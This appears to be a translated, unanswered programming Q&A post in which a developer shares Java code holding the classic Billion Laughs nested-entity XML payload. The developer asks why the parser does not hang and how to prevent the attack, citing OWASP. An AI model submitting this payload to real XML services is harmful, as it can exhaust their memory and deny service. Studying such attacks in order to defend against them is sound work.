如何重现和防止Java中的Billion Laughs攻击?

时间:2017-09-18 15:10:04

标签: java security

经过一些研究,这里有一个代码示例,我认为应该容易受到Billion Laughs attack的攻击。但是它似乎不起作用,Done.打印到控制台太快(从人类的角度来看)。

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.InputSource;

public class BillionLOLs {

    public static void vuln(String xml) {

        try{
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document doc = builder.parse(new InputSource(new StringReader(xml)));
            Element root = doc.getDocumentElement();
        } catch (Exception e){

        }
    }

    public static void main(String[] args){

        String xml = 
                "<?xml version=\"1.0\"?>"
                + "<!DOCTYPE lolz ["
                + "<!ENTITY lol \"lol\">"
                + "<!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">"
                + "<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">"
                + "<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">"
                + "<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">"
                + "<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">"
                + "<!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">"
                + "<!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">"
                + "<!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">"
                + "]>"
                + "<lolz>&lol9;</lolz>";

        vuln(xml);
        System.out.println("Done.");

    }
}

我已经阅读了OWASP cheat sheet关于如何在Java中解决这个问题的方法,并且我认为这些方法仍然是最新的,并且在此期间没有发现任何其他聪明的攻击,这会使OWASP指导无关紧要。

我的具体问题是为什么我的代码执行时间不长,就像我期望的那样,如果Java容易受到Billion Laughs攻击的影响,我该怎样阻止它呢?

命令java -version提供以下输出。

  

java版“1.7.0_75”

     

Java(TM)SE运行时环境(版本1.7.0_75-b13)

     

Java HotSpot(TM)客户端VM(版本24.75-b04,混合模式,共享)

0 个答案:

没有答案